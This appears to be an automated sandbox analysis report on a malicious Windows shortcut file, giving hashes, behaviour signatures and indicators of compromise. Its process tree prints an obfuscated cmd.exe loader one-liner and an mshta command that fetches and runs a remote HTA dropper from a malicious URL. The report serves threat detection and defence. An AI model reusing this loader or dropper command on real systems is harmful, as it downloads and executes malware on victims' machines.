Analysis
- max time kernel
148s - max time network
148s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:33
Static task
static1
Behavioral task
behavioral1
Sample
DOC-S3VYS0.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-S3VYS0.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-S3VYS0.lnk
- Size 2KB
- Sample260804-kgczvsvhpc
- SHA256 044d5a5117350eac2e91d137cc9b56b7580465102370841c6f233656e9846781
- MD5 b3a98b2fcf0e1026d463c0af6b4a385e
- SHA1 8b7bffb9296dea1f6efd4259b4cb489fc8320fc2
- SHA512 281fce68972d2661c1c1ffc55d158bdb86b516461eb783c709f83b5cda5b12b7856bee83ea6e7054b2d7493ba610bf761da0982e2d5c5fa6d0f2a5ea0c55cbe2
- TLSH T1E64137402EDE05D8F2FB9D72EDFB6311497BB5515CA4C64E0840814E1422B0AEA37B23
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4144 cmd.exe 2076 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4144 wrote to memory of 2076 4144 cmd.exe 89 PID 2076 wrote to memory of 4892 2076 cmd.exe 90
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-S3VYS0.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4144 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set EeJNN=mmt&&set LHxrp=w1shtuh9&&set Tm=akact&&set OL=sysstefcsieotrsidgkeesys&&set HIlN=xsc&&set OvEjr=dtart0r&&set mAY=dbgprxjtmridbg&&set wWsqw=cacheltbcfzwtcache&&set swb=cachemflqtzxrpxfqjoidcache&&set QHxi=bakbkqkttatbak&&set lNQKu=ht@t@ps:@/@/m@a@-pdf@fill@er.@l@a@t/h/es@ta@gi@o@1.@p@hp?@r=3@9@1469@F@B5D@82@DB&&start /b !EeJNN:~1,1!!LHxrp:~2,3!!Tm:~2,1! !lNQKu:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2076 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4892
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